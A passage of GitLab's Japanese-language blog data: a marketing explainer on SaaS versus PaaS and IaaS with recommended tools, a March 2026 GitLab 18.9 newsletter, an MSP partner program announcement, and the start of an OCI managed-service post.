Team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1760421091/iaruhhz70gncm8bqfqyg.jpg","2025-10-15","SaaSを利用することで、様々な業務をより効率的に、かつ低コストで実施できます。本記事では、SaaSとは何かを分かりやすく説明するとともに、用途別のおすすめSaaSやソフトウェア開発におけるSaaS活用のメリットなどを解説します。GitLabが提供するSaaSも後半で詳しくご紹介します。\n## 目次\n* SaaSとは？\n* ソフトウェア利用モデルの比較\n* SaaSのメリット\n* SaaSのデメリット\n* SaaSとPaaS・IaaSの違いとは？\n* SaaSを選ぶ際のポイント\n* 代表的なSaaSと主な機能\n* GitLabはソフトウェア開発にどのように貢献するのか？\n* SaaSやGitLabに関するFAQ\n## SaaSとは？仕組みやクラウドとの違い\nSaaSは「Software as a Service」の略称で、読み方は「サース」もしくは「サーズ」です。日本語にすると「サービスとしてのソフトウェア」となります。\nSaaSは、サービス提供会社（ベンダー）のサーバーで提供されているソフトウェアを、インターネットなどのネットワークを介して利用できるサービスのことです。自身のパソコンや自社サーバーにソフトウェアをインストールしなくても、インターネット経由で最新のサービスを利用できます。\nSaaSの例としてよく挙げられるのがGoogleが提供しているGoogleドキュメントやGoogleスプレッドシート、Googleドライブなどです。特定のソフトウェアやアプリをインストールしなくても、これらの機能をオンライン上で自由に利用できます。\n弊社が提供しているソフトウェア開発プラットフォーム「[GitLab](https://about.gitlab.com/ja-jp/)」も、ソフトウェア開発に関するSaaSの代表格の1つです。\n### SaaSの仕組み\n一般的なソフトウェアは自社のサーバーやパソコンなどにインストールして利用しますが、SaaSの場合には、サービス提供会社のサーバーにてソフトウェアが起動しています。インターネットを介してサービス提供会社のサーバーに接続し、そこでソフトウェアを利用する、というのがSaaSの主な仕組みです。\n提供会社がソフトウェアを頻繁にアップデートしているため、最新のサービスがどこからでも、どのデバイスからでも利用できます。\n### SaaSとクラウドサービスの違い\nよく似た言葉に「クラウドサービス」があります。同様の意味合いで使われる用語ですが、クラウドサービスはアプリに限定されないより広範な概念です。後に説明するPaaSやIaaSなどもクラウドサービスに当てはまります。クラウドサービスの1つがSaaSだと考えるとよいでしょう。\n## ソフトウェア利用モデルの比較\n企業がソフトウェアを利用する方法は主に以下の3つです。\n*  オンプレミス型\n* インストール型\n* SaaS\nそれぞれの特徴について簡単に説明します。\n### オンプレミス型\nオンプレミス型とは、自社のサーバーにソフトウェアを組み入れ、自社独自のシステムを構築する方法です。思い通りにカスタマイズできる、情報漏洩のリスクが少ないなどのメリットがありますが、一方で構築までに時間と費用がかかる、保守が正しくできないとセキュリティリスクが高まるなどのデメリットもあります。\n### インストール型\nインストール型は、ソフトウェアを利用予定のパソコンにインストールすることで、そのパソコンでのみ機能が使えるようにする方法です。オンプレミス型に比べると低価格で利用できる、導入に時間がかからないなどのメリットがありますが、一方で機能の拡張が難しい、アップデートのし忘れによるセキュリティ脆弱性リスクが高いなどのデメリットがあります。\n### SaaS\n昨今の主流となっているSaaSは、運営会社が管理しているサービスにインターネットを介してアクセスし、オンライン上で利用する方法です。\nより最先端の機能を利用したい、セキュリティに配慮したソフトウェアを利用したい、料金を安く抑えたいなどのニーズの増加により、オンプレミス型やインストール型ではなく、SaaSを利用する企業が増えています。\n## SaaSのメリット\nSaaSには、オンプレミス型やインストール型にはない数々のメリットがあります。\n### 最新の機能を利用できる\nサービス提供会社が自社のサーバー内でソフトウェアのアップデートを行い、そのサービスをインターネットを経由して利用するため、常に最新の機能やデザインを利用できます。\n### 利用開始までの時間が短い\nSaaSはインターネット上で契約と支払いを済ませたら、即座に利用が可能です。最低利用期間が定められているSaaSが多いものの、解約手続きも比較的簡単です。\n### 導入費用を抑制できる\n多くのSaaSは初期導入費用が無料、もしくはオンプレミス型と比べて安い傾向にあります。\n初期投資で大きな資金を準備することが難しい企業にとっては、毎月支払いのSaaSの料金プランは大きな魅力といえます。\n### セキュリティ対策に強い\nSaaSはサービス提供会社がソフトウェアに対してセキュリティ対策を実施します。自社でセキュリティ対策を行う必要がないため、人件費や労力を削減できるとともに、高い安全性が確保されたソフトウェアを使い続けることが可能です。\n### 場所を選ばない\nSaaSはインターネットさえ使えれば、どこにいても、どのデバイスからでも同様のサービスやデータにアクセスできます。急な出張が入り自身のパソコンを利用できない場合でも、別のパソコンを使ってログインすることで、普段と同じデータにアクセスできます。\n昨今拡大しているリモートワークとも相性のよいモデルとして需要が高まっています。\n### 複数人での利用に強い\nSaaSは複数人による利用に優れています。元となるデータがクラウドサーバー上に保存されているため、複数人がそのデータに直接アクセスし、同時並行で作業を進められます。\n例えば、ソフトウェア開発に関するSaaSを利用すれば、複数のデベロッパーが同時に作業を行い、それぞれの作業を即座に反映させることが可能です。\n## SaaSのデメリット\n多くのメリットがあるSaaSですが、もちろんいくつかのデメリットもあります。SaaSを利用する際には、これらのデメリットについてもよく理解し、事前に対策を練るようにしてください。\n### ソフトウェアアップデートによる急な仕様の変更\nSaaSは、サービス提供会社によって常にアップデートが行われています。方向性の転換により、操作画面の機能やデザインが急に変更になったり、これまで頻繁に使っていたシステムがなくなったりすることがあります。以前のバージョンが使いやすかったと感じても、自社の判断によって戻すことはできません。\n### 継続的な出費が発生する\n初回導入時には比較的予算が抑えられるSaaSですが、月額・年額の継続費用が発生し、長期利用ではコストが高くなる場合があります。\n### ログイン情報の漏洩によるセキュリティリスク\nサービスにアクセスするためのログイン情報が漏れた場合、他者にアクセスされる可能性が生じます。二段階認証プロセスを利用することで不正なアクセスは防げるものの、ログイン情報の管理については慎重に実施する必要があります。\n### ネットワーク環境の影響を受ける\nSaaSは、インターネットが利用できない場所では利用できません。停電やネットワークエラーによってインターネットが使えない場合、SaaSにアクセスできなくなり、作業が一時中断してしまう可能性があります。\n### SaaS側の不具合やメンテナンス\nSaaSが何らかの不具合に直面した場合、もしくは大規模なシステムアップデートのため長期に及ぶメンテナンスが必要になった場合には、サービスが一時的に利用できなくなる可能性があります。\n利用予定のSaaSが頻繁なメンテナンスを実施していないか、メンテナンスの場合には代替機能が利用できるかどうかを事前にチェックするとよいでしょう。\n## SaaSとPasS・IaaSの違いとは？サービス内容も紹介\nSaaSとよく比較される用語に「PaaS」と「IaaS」があります。自社に最適な機能を選ぶうえで、これらの違いを理解することは非常に重要です。\n### PaaSとは\nPaaSは「Platform as a Service」の略称で、「パース」と読みます。名称からもわかる通り、PaaSは主にクラウド上で利用できるプラットフォームを指します。PaaSの提供範囲は主にプラットフォームのため、ソフトウェアやアプリは含みません。\n例えばPaaSは、システムやアプリケーションを開発するためのプラットフォームをクラウド上で提供します。複数のデベロッパーが同時にアクセスし、協力体制のもとでアプリケーション開発などを進める場合に役立ちます。\n### IaaSとは\nIaaSは「Infrastructure as a Service」の略称で、「イーアス」や「アイアース」と読みます。IaaSがクラウド上で提供するのはサーバーやネットワークなどのインフラ基盤のみです。ソフトウェアやプラットフォームなど、事前に構築されたシステムや枠組みがないため、より自由な開発環境を整えたい企業に向いています。ただし、開発環境の構築も含めて自社で実施するだけの人材力やスキルが必要とされます。\n### SaaS・PaaS・IaaSの比較\nSaaSとPaaS、IaaSの各サービス内容をまとめると、以下のようになります。\n表1　SaaS・PaaS・IaaSが網羅するサービスの比較\n| サービス            | SaaS | PaaS | IaaS |\n| --------------- | ---- | ---- | ---- |\n| ソフトウェア・アプリケーション | ◎    |      |      |\n| ミドルウェア          | 〇    | ◎    |      |\n| OS              | 〇    | ◎    |      |\n| ネットワーク          | 〇    | 〇    | ◎    |\n| ストレージ           | 〇    | 〇    | ◎    |\n| サーバー            | 〇    | 〇    | ◎    |\n\n\nSaaSはすべてを網羅しているとはいえ、ミドルウェアやOSの使い勝手や機能に関してはPaaSがより優れています。IaaSは質の高いインフラ基盤を比較的安価に導入できる方法として、SaaSやPaaSとは差別化できます。\nそれぞれの特徴をよく理解した上で、自社に最適なサービスを導入することが重要です。\n## SaaSを選ぶ際のポイント\n自社の現状や課題に合ったSaaSを利用することで、業務効率化やコスト削減を実現することができます。一方で、自社に合わないSaaSを選んでしまうと、不慣れな作業によって時間がかかったり、せっかく購入したにも関わらず活用されなかったりする場合があります。\nそのため、SaaSを導入する際には以下のポイントをよく確認するようにしてください。\n### 機能性\nSaaSの機能は事務系やコミュニケーション系、ソフトウェア開発系など多岐にわたります。自社で解決したい課題をリストアップするとともに、どの機能を備えたSaaSが最適かをよく検討するようにしてください。\nまた、用途だけでなく、機能や操作画面の使い勝手も確認するとよいでしょう。例えば、日本語に最適化されていないSaaSでは、言語の違いによりスムーズに利用できない可能性があります。\nミスマッチを防ぐためにも、まずは無料トライアルを提供しているSaaSを選び、試してみることをおすすめします。\n### コストや料金体系\nSaaSは初期費用が比較的安く設定されているのが特徴です。ただし、毎月もしくは毎年費用が発生するため、長期的にみると大きな費用負担になる場合があります。多くのSaaSは1ユーザーごとの料金設定のため、大勢で利用した場合にはコストが大きくなります。\nまた、SaaSは最低利用期間や解約までに必要な月数などが設定されている場合がほとんどです。解約しやすいのがSaaSの特徴の1つですが、場合によっては解約時にも費用が発生する点にも注意が必要です。\n### セキュリティ\nSaaSでは、システム利用やデータの保管はすべてサービス提供会社のサーバー内で行われるため、自社でセキュリティ対策を実施する必要はありません。ただし、提供会社側でセキュリティ問題が発生した場合には、重要なデータが消去もしくは漏洩する可能性があります。\nSaaSを利用する際には、セキュリティ対策の充実度をしっかりと確認するようにしてください。\n### サポート体制\nSaaSは様々な機能が随時追加されるため、機能やデザインなどに関して、サポートの助けが必要になることが多々あります。特に緊急性のある案件に関係するSaaSにおいては、電話対応や24時間のチャットサポートに対応しているかは重要です。また、海外発のSaaSを利用する際には、日本語サポートにも対応しているかを確認するようにしてください。\n## 代表的なSaaSと主な機能\n企業が導入を検討すべきおすすめのSaaSを紹介します。\n### オフィス業務に強い「Google WorkSpace」\n「[Google Workspace](https://www.g-workspace.jp/googleworkspace/)」は、Google社が提供する有料オンラインアプリケーションセットです。GoogleドキュメントやGoogleスプレッドシート、Googleドライブ、Gmailなど、オフィス作業や業務効率化に役立つ数々のツールが利用できます。データはすべてGoogleのサーバー内に保管され、Googleが常に最新のセキュリティ対策を行っているため、安心して利用できます。\n利用には一定の[費用](https://www.g-workspace.jp/price/)が掛かりますが、様々な便利機能を安心して利用したい企業におすすめです。\n### 気軽なチャット機能が人気「ChatWork」\n多くの企業が導入しているチャット型のコミュニケーションツールが「[ChatWork](https://go.chatwork.com/ja/)」です。メールでのやりとりでは、文章を作成したり回答を得たりするのに時間がかかりますが、ChatWorkのチャットであれば時間を大幅に削減できます。\nチャットデータはすべてChatWorkが管理するサーバー内に保管されているため、パソコンやスマホ、タブレットなど、デバイスを選ばずに利用できます。日本企業が開発したSaaSのため、日本人が使いやすいように設計・最適化されているのも大きな魅力といえます。\nフリープランは無料で利用できますが、ビジネス用途であれば高いセキュリティ性能を備えた[エンタープライズプラン](https://go.chatwork.com/ja/price/?click=header-navi)がおすすめです。現在社内でのやりとりでメールを利用している、社員間のコミュニケーションを促進するツールを探している企業に最適です。\n### オンラインミーティングの大改革を果たした「Zoom」\nミーティングや営業のあり方を大きく変えたことで知られるのが「[Zoom](https://www.zoom.com/ja)」です。インターネットを利用したオンラインミーティングが実施でき、異なる場所や出張時・在宅ワークなどでのミーティング参加が可能となりました。\nまた、Zoomは営業向けにも様々な便利機能を追加しており、録画機能や自動文字起こし、資料の共有、スケジュール管理など、1つのツールで多様な課題を解決できます。\n無料のベーシックプランでもオンラインミーティング機能は利用できますが、長時間のミーティングを開催したい、より便利な機能を利用したいという方は、有料の[ビジネスプラン](https://www.zoom.us/ja/pricing?optimizely_user_id=e1913a438ebff25397b6ac8df20b7ac4&amp_device_id=a3148cc2-3076-420f-9c2e-569a037fc688&_ics=1731285869840&irclickid=%7Ebhadihjcf8134WZOMNV1RIJGKHABFxwrmukopfgb3VKHFAypg-8Z&_gl=1*sl16es*_gcl_au*MzE1NDA4NTUwLjE3MzEyODU4Njk.*_ga*NTAzNTU1OTQ1LjE3MzEyODU4NzA.*_ga_L8TBF28DDX*MTczMTI4NTg3MC4xLjAuMTczMTI4NTg3MC4wLjAuMA..&_ga=2.208402578.1219391157.1731285871-503555945.1731285870)がおすすめです。\n### アプリケーション開発に最適な「GitLab」\nアプリケーション・ソフトウェア開発におすすめのSaaSが、弊社が提供する「[GitLab](https://about.gitlab.com/ja-jp/)」です。AI搭載のDevSecOpsプラットフォームで、開発効率化やセキュリティに優れています。\n複数のデベロッパーが同時並行で作業できる[マルチテナント環境](https://about.gitlab.com/ja-jp/why-gitlab/)を提供するとともに、AIを含めた様々な便利アプリにより開発を効率化できます。\nビジネス目的であれば、より多くの機能が利用でき、かつセキュリティも充実している「Premium」や「Ultimate」などの有料プランがおすすめです。60日間の[無料トライアル](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/why-gitlab/&glm_content=default-saas-trial)もあるため、まずはお気軽にお問い合わせください。\nまた、より迅速に開発を進めたい方向けに、シングルテナント型SaaSで提供される「[GitLab Dedicated](https://about.gitlab.com/dedicated/)」サービスもあります。GitLabチームがプラットフォーム管理やデプロイを担当するため、必要な作業が大幅に削減され、重要なタスクに注力可能です。\n## GitLabはソフトウェア開発にどのように貢献するのか？\nGitLabは、クラウド上で機能するソフトウェアアプリケーション開発プラットフォームです。企業は開発、保護、そしてデプロイの複雑化に効果的に対応でき、結果としてサイクルタイムを1/7に短縮できる可能性があります。\nデベロッパーの生産性が向上するとともに、メンテナンスに必要な時間を削減できるため、多くの時間をより重要な作業に費やすことが可能です。スピーディで効率的な開発を行うことで、他社と差別化できます。\n従来からDevSecOpsプラットフォームの開発に専念してきたGitLabでは、特にセキュリティ分野において優位性を持ちます。GitLabのセキュリティ対策チームが常に最新のセキュリティ対策を研究し、ツールに導入しているため、弊社SaaSを利用する際には、すでに最新の対策が施されている状態です。これにより、開発したソフトウェアの安全を確保します。\n## SaaSやGitLabに関するFAQ\nSaaSやGitLabに関するFAQについて以下にまとめてあります。ぜひ参考にしてください。\n### GitLabではどのようなSaaS開発環境やオプションが可能か？\nGitLabでは、GitLabプラットフォームが自由に使える[マルチテナントSaaS](https://about.gitlab.com/ja-jp/why-gitlab/)と、デプロイや管理をGitLab側で担当するシングルテナントSaaSの[GitLab Dedicated](https://about.gitlab.com/dedicated/)のどちらかをお選びいただけます。また、GitLabではオンプレミスにも対応しています。\n\n\nSaaSによるソフトウェア開発が初めてで管理や操作に不安が残る方には、GitLab Dedicatedをおすすめします。ぜひご検討ください。\n### 開発分野のSaaSに限定した場合、オンプレミスと比べてどのようなメリットがあるか？\nオンプレミス型の開発環境の場合、セキュリティやガバナンス対策を自社ですべて実施する必要があります。人材を保守や運用、調査などに回す必要があるため、大きな人的コストがかかるのと同時に、開発速度も遅くなります。\n\n\nSaaSによる開発環境では、セキュリティやガバナンスをGitLabが調査、適用するため、保守運用にかかる時間を大幅に削減できます。昨今は必要なセキュリティ対策やガバナンス対策が頻繁に変化する時代です。SaaSによる開発環境を利用することで、それらの心配をする必要がなくなり、重要な作業に集中できます。\n### その他のSaaS開発環境と比較した際のGitLabの強みとは\nGitLabは、ソフトウェア開発のライフサイクル全体に対応する**DevSecOpsプラットフォーム**です。Fortune100企業の50％強が利用し、登録ユーザー数は2024年時点で約3,000万人を超えています。\n\n\nGitLabは迅速かつ効率的なソフトウェアデリバリーを実現する包括的なプラットフォームとして常に進化を遂げてきました。また、早くからセキュリティやコンプライアンスを重要な軸として位置づけ、プラットフォーム内に機能を組み入れてきた歴史があります。\n\n\n昨今はセキュリティに配慮しつつ、ガバナンスやコンプライアンスを順守しながらソフトウェア開発を進めていく必要があります。しかしながら、優秀なデベロッパーが保守運用に時間をとられ、何よりも重要な開発作業に時間を割けない問題が多くの企業で発生しています。GitLabプラットフォームを利用することで、デベロッパーがセキュリティ対策やエラー修正にかける時間を大幅に削減できます。 [GitLab](https://about.gitlab.com/ja-jp/)は、設立当初から、リモートワーク、オープンソース、DevSecOps、イテレーションへの確固たる信念を持ち続けてきました。GitLabは新しいイノベーションを模索し続けます。より優れた開発プラットフォームを模索している企業様に、GitLabは最先端・最高品質のサービスを提供いたします。","2026-03-03",{"featured":642,"template":784,"slug":1008},"what-is-saas",{"category":722,"slug":720,"posts":1010},[1011,1022,1033],{"content":1012,"config":1020},{"date":1013,"authors":1014,"tags":1015,"category":720,"heroImage":1017,"title":1018,"body":1019},"2026-03-01",[894],[777,88,242,696,252,779,720,1016,758],"releases","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623336/nnvczybh4adgqen81p9h.png","Monday Merge 3月号：コード高速化のその先：インテリジェント・オーケストレーションの台頭","**AIは、コードを書く方法を根本的に変えました。しかし、ソフトウェアの「提供方法」そのものを自動的に変えたわけではありません。**\n\n**コード生成が高速化する一方で、レビュー、テスト、セキュリティスキャン、デプロイといった下流工程に新たなボトルネックが生まれています。**\n\nこれが、私たちが「AIパラドックス」と呼ぶ現象です。\n\n今月のMonday Mergeでは、計画、開発、セキュリティ、デプロイにわたるSDLC全体でのインテリジェント・オーケストレーションがこの課題にどのように対応し、エンタープライズDevSecOpsをどのように再構築しているのかを探ります。\n\n## GitLab 18.9：エージェント型AIがプラットフォームのさらに深部へ\n\n![GitLab 18.9：エージェント型AIがプラットフォームのさらに深部へ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623381/sobem8usbdsht8jl1unz.png)\n\n2月の締めくくりに、25以上の改善とエージェント型AI機能の大幅な進化を含むGitLab 18.9をリリースしました。\n\n### **セルフマネージド環境向け GitLab Duo Agent Platform**\n\nGitLab Duo Agent Platformは、オンラインライセンスを持つセルフマネージドのお客様向けに提供開始となりました。自社インフラ内でエージェント型AI機能を必要とするエンタープライズチームにとって、これは大きな前進です。\n\n### **エージェント型SAST脆弱性解決（ベータ）**\n\nSAST脆弱性のトリアージと修正は、アプリケーションセキュリティにおいて最も時間のかかる作業のひとつであることが多いです。GitLab 18.9では、GitLab Duoが次のことを実行できるようになりました。\n\n* 脆弱性を分析する\n* 周辺コードの文脈を推論する\n* コンテキストを考慮した修正を生成する\n* マージリクエストを自動作成する\n* レビュアーの信頼度を示す品質スコアを提供する\n\n単一の提案を出すのではなく、GitLab Duoはコードベース全体を推論し、十分に検討された修正提案を生成します。\n\n### **GitLab 18.9のその他の改善点**\n\n新しい折りたたみ可能なファイルツリーによりリポジトリをナビゲートでき、ページ読み込み回数を減らしながら、より効率的にプロジェクト構造を閲覧できます。\nGitLab.comではWebベースのコミット署名が利用可能になり、Web上のコミットがGitLabの署名キーで自動的に署名されます。\n\nそして、本リリースに530件以上の貢献をしてくださったGitLabコミュニティの皆さまに心より感謝します。GitLabでは誰もが貢献できることを18.9は証明しています。\n\n![Transcend](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623383/xhcvcceyvjtww9emfbsj.png)\n\n先日開催されたGitLab Transcendのバーチャルイベントでは、AIエージェントが計画、開発、テスト、セキュリティ、デプロイにわたって単一のプラットフォーム上でどのように連携し、エンタープライズのガードレールやガバナンス要件に沿って動作するのかをご紹介しました。\n\nSouthwest Airlines社からは、GitLab Duo Agent Platformがどのようにチームのミッションクリティカルなソフトウェアをより迅速に提供しながら、24時間365日の航空運航に必要なレジリエンスを維持しているかについてお話しいただきました。また、SDLC全体でエージェントが協働するライブデモも実施し、特定の工程だけでなく、デリバリーライフサイクル全体をどのようにモダナイズできるかを探りました。\n\nイベントを見逃した方は、こちらからフル録画をご覧いただけます👇\n\n\u003Chttps://about.gitlab.com/events/transcend/virtual/>\n\n## [](https://about.gitlab.com/events/transcend/virtual/)技術デモ\n\n![技術デモ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623380/tch0unrnnwz2yjz7ba7y.png)\n\n[](https://page.gitlab.com/webcasts-mar4-security-workflows-emea-amer.html)\n\n### 📅 3月12日 – Duo Agent Platform 実践編\n\n本セッションでは、エージェント型AIがSDLC全体にどのように統合され、マルチステージのワークフローを自動化し、コンテキストを考慮した生成によってデリバリーを加速し、AIによる根本原因分析で失敗したパイプラインをより迅速に解決する方法をご紹介します。\n\n👉 こちらからご登録ください。\n\n\u003Chttps://page.gitlab.com/webcasts-mar12-gitlab-duo-agent-platform-emea-de.html>\n\nインテリジェント・オーケストレーションをロードマップに検討されているなら、これらのセッションはぜひご参加いただく価値があります。\n\n## **今月のおすすめ**\n\n![今月のおすすめ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623380/ejkfu5adv7bjwzwyevpd.png)\n\n今月は、インテリジェント・オーケストレーションの背景にあるより広い視点について、さらに深く掘り下げています。\n\nCEOのBill Staplesは、AI時代におけるソフトウェアデリバリーについて語っています。\n\nまた、Chief Product and Marketing OfficerのManav Khuranaは、AIが単なる高速なコード生成を超え、品質、セキュリティ、そしてライフサイクル全体の最適化へと拡張されることで、真にイノベーションサイクルの加速が実現することを探っています。\n\nさらに、セキュリティリーダーシップの観点からは、ソフトウェアライフサイクル全体におけるAI主導の変化に対応するため、エンタープライズがどのように組織構造モデルを進化させる必要があるのかという議論が続いています。\n\nポイントソリューションを超え、システム全体の変革を見据えている方にとって、これらの視点は一読の価値があります。\n\n\u003Chttps://www.cxotalk.com/episode/intelligent-orchestration-software-delivery-for-the-ai-era-with-ceo-of-gitlab>\n\n\u003Chttps://thenewstack.io/gitlab-ceo-on-why-ai-isnt-helping-enterprise-ship-code-faster/>\n\n\u003Chttps://www.runtime.news/from-faster-coding-to-accelerated-innovation-cycles-how-intelligent-orchestration-unlocks-ais-promise/>\n\n\u003Chttps://thenewstack.io/federate-security-gitlab/>\n\n最後に、インテリジェント・オーケストレーションの本質を表す言葉をご紹介します。\n\n> 「全体は部分の総和に勝る。」― アリストテレス\n\nインテリジェント・オーケストレーションは、まさにこの考えを体現しています。\n\nAIが孤立した場面で活用されるだけでは、その効果は限定的です。しかし、統一されたコンテキストとエンタープライズのガードレールのもとで、エージェントがソフトウェアライフサイクル全体にわたり協調すれば、その成果は実際に測定可能なソフトウェア開発速度として現れます。\n\nお読みいただきありがとうございました。ウェブキャストやIssueでお会いできるのを楽しみにしています。そして、これからも対話を続けていきましょう。それでは、いつものようにHappy Merging!\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770180580/nz0ipehzgtcb757kl0ux.png)\n\n[Fatima Sarah Khalid](https://www.linkedin.com/in/sugaroverflow/?lipi=urn%3Ali%3Apage%3Ad_flagship3_pulse_read%3B3ix%2FZ9%2BgTBmIWuSHZsMZRw%3D%3D)｜Senior Developer Advocate, GitLab\n\nこのニュースレターが気に入ったら、ぜひチームに共有してください。\n そして👉[YouTubeチャンネル](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg)の登録もお忘れなく！",{"featured":642,"template":784,"slug":1021},"monday-merge-2026-march-9",{"content":1023,"config":1031},{"title":1024,"description":1025,"authors":1026,"heroImage":1028,"date":822,"body":1029,"category":720,"tags":1030},"GitLabマネージドサービスプロバイダー（MSP）パートナープログラムのご紹介","GitLabの支援のもと、収益性の高いサービス主導型DevSecOpsプラクティスを構築",[1027],"Karishma Kumar","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","*このブログは、GitLabプラクティスの構築を検討しているマネージドサービスプロバイダー（MSP）向けに執筆されています。デベロッパーやエンジニアリングリーダーの方にとっては、皆さまのようなチームのスケーリングと迅速な開発を支援するパートナーを強化するプログラムです。*\n\n多くの組織は、最新のDevSecOpsプラットフォームが必要であることを認識しています。しかし、ビジネスが求めるスピードでソフトウェアを提供しながら、プラットフォームのデプロイ、管理、継続的な最適化を行うリソースが不足しているケースが少なくありません。これはMSPにとって大きなビジネスチャンスであり、GitLabはそれを支援する専用プログラムを用意しました。\n\nこのたび、**GitLab MSPパートナープログラム**を発表いたします。これは、認定を受けたMSPがGitLabをフルマネージドサービスとして顧客に提供できるようにする新しいグローバルプログラムです。\n\n## パートナーと顧客にとっての意義\n\nGitLabとして初めて、MSP向けに正式に定義されたグローバルプログラムが誕生しました。明確な要件、体系的なイネーブルメント、専任のサポート、そして実質的な経済的メリットが用意されており、パートナーは安心してGitLabマネージドサービスプラクティスの構築に投資できます。\n\nタイミングも最適です。多くの組織がDevSecOpsへの取り組みを加速させていますが、ソフトウェアの構築とリリースという本来の業務に加えて、複雑な移行、ツールチェーンの拡散、増大するセキュリティ要件への対応に追われているのが現状です。\n\nGitLab MSPパートナーは、デプロイ、移行、管理、継続的なサポートなど、プラットフォーム運用を担当することで、開発チームが本来の業務に集中できる環境を提供します。\n\n## MSPパートナーが得られるメリット\n\n**経済的メリット**：MSPパートナーは、すべての取引、新規ビジネス、更新において、GitLabパートナーマージンに加えてMSPプレミアムを獲得できます。さらに、デプロイ、移行、トレーニング、イネーブルメント、戦略コンサルティングに対して顧客に請求するサービス料の100%を保持できるため、単一のプラットフォームを中心に複数の継続的な収益源を構築できます。\n\n**イネーブルメントと教育**：バージョンアップデート、新機能、ベストプラクティス、ロードマップの最新情報、ピアシェアリングを網羅した四半期ごとのテクニカルブートキャンプにアクセスできます。推奨されるクラウド認定資格（AWS Solutions Architect Associate、GCP Associate Cloud Engineer）が技術基盤を補完します。\n\n**Go-to-Marketサポート**：MSPには、GitLab認定MSPパートナーバッジ、共同ブランド資産、顧客事例の共同作成への参加資格、Partner Locatorへの掲載、および認定されたデマンドジェネレーション活動向けのMarketing Development Funds（MDF）へのアクセスが提供されます。\n\n## 顧客が期待できること\n\nGitLab MSPパートナーと連携する顧客は、体系的なマネージドDevSecOpsエクスペリエンス、文書化された再現可能な実装方法論、定期的なビジネスレビュー、そして明確に定義された応答およびエスカレーションパスを備えたサポートを受けられます。\n\nその結果、開発チームは優れたソフトウェアの構築に集中でき、MSPパートナーがプラットフォームの運用と最適化に注力するという理想的な体制が実現します。\n\n## AIを活用した新たなビジネスチャンス\n\nソフトウェア開発ワークフローにAIを安全に導入したいと考える組織が増えており、経験豊富なチームであっても、大規模な展開には体系的なアプローチが有効です。GitLab MSPパートナーは、より広範なマネージドサービスの一環として、GitLab Duo Agent Platformの導入を顧客に提案できる最適なポジションにあります。\n\nGitLabのDevSecOpsプラットフォームとMSPが提供する運用の専門知識を組み合わせることで、顧客はガバナンスが確保された環境でAI支援ワークフローを試験的に導入し、データレジデンシーとコンプライアンス要件を満たしながら、社内リソースに過度な負担をかけることなくチーム全体でAI導入を拡大できます。\n\n## このプログラムはお客さまのビジネスに適していますか\n\nGitLab MSPパートナープログラムは、以下に該当する場合に最適です。\n\n* クラウド、インフラストラクチャ、またはアプリケーション運用のマネージドサービスを既に提供している\n* 高付加価値のDevSecOpsをポートフォリオに追加したい\n* 最新の開発プラットフォームに関心のある技術人材を擁している、または育成したい\n* 単発の取引よりも長期的な顧客関係を重視している\n\n既にGitLab SelectおよびProfessional Servicesパートナーである場合、MSPプログラムは既存の専門知識を再現可能なマネージドサービスに転換するための体系的な方法を提供します。\n\n## 開始方法\n\n本プログラムは、**認定MSPパートナー**の指定から開始されます。参加にあたり、最低ARRや顧客数の要件はありません。以下がプログラム参加までの流れです。\n\n1. **適合性の確認** - [ハンドブックページ](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program)に記載されたビジネスおよび技術要件を満たしているか確認します。\n2. **GitLabパートナーポータルから申請** - ビジネスおよび技術に関するドキュメントを添えて申請を提出します。\n3. **90日間のオンボーディングを完了** - 契約、技術イネーブルメント、セールストレーニング、最初の顧客エンゲージメントを網羅した体系的なオンボーディングプログラムです。\n4. **マネージドサービスの提供を開始** - サービスをパッケージ化し、SLAを設定して、顧客へのエンゲージメントを開始します。\n\n提出された申請は、約3営業日以内に審査されます。\n\n> GitLabマネージドサービスプラクティスの構築にご興味がありますか？新規パートナーの方は[GitLabパートナーへの申請](https://about.gitlab.com/partners/)からお申し込みいただけます。既存パートナーの方は、GitLab担当者にお問い合わせいただき、プログラムの詳細やMSPプラクティスを通じて現在顧客に提供しているソリューションについてお知らせください。\n",[696,720,257],{"featured":642,"template":784,"slug":1032},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"content":1034,"config":1045},{"title":1035,"authors":1036,"date":1040,"body":1041,"category":720,"tags":1042,"description":1043,"heroImage":1044},"Data Intensity社が実現するOracle Cloud Infrastructure上のDevSecOps-as-a-Service",[1037,1038,1027,1039],"Biju Thomas","Matt Genelin","Ryan Palmaro","2026-02-10","GitLabは、多くの組織がGitLab Self-Managedを選択する理由は、その制御性とカスタマイズ性の高さ、そして強固なセキュリティであると理解しています。しかし、その一方で基盤となるインフラストラクチャの管理が運用上の課題となる可能性があります。特に、チームにとって、注力したいのはプラットフォームの保守ではなくソフトウェアデリバリーだからです。\n\nそこで、GitLabは[Oracle Cloud Infrastructure（OCI）](https://www.oracle.com/cloud/)および信頼できるOracleマネージドサービスプロバイダーである[Data Intensity社](https://www.dataintensity.com/services/security-services/devsecops/)とタッグを組み、GitLab Self-Managedの制御性とフルマネージドサービスの運用性の両方を実現する新しいマネージドサービスオプション「DevSecOps-as-a-Service」を実現しました。\n\n## GitLab Self-Managedを選ぶ理由\n\nGitLab Self-Managedでは、DevSecOpsプラットフォームを完全に管理できます。データの保存場所やインスタンスの構成方法を制御できるほか、固有のコンプライアンス、セキュリティ、または運用要件を満たすようカスタマイズできます。厳格な規制要件、データレジデンシーのニーズ、固有の統合要件を持つ組織にとっては、このレベルの制御が不可欠です。\n\n一部のお客様にとって、サーバーの管理、アップグレードの処理、高可用性の確保、ディザスタリカバリの実装といったGitLab Self-Managedの運用が大きな課題となります。これらはすべて、専門的な知識と専任のリソースを必要とします。\n\n## GitLab Self-Managedへのマネージドパス\n\nData Intensity社がOCI上で実現するDevSecOps-as-a-Serviceは、制御性の高いGitLab 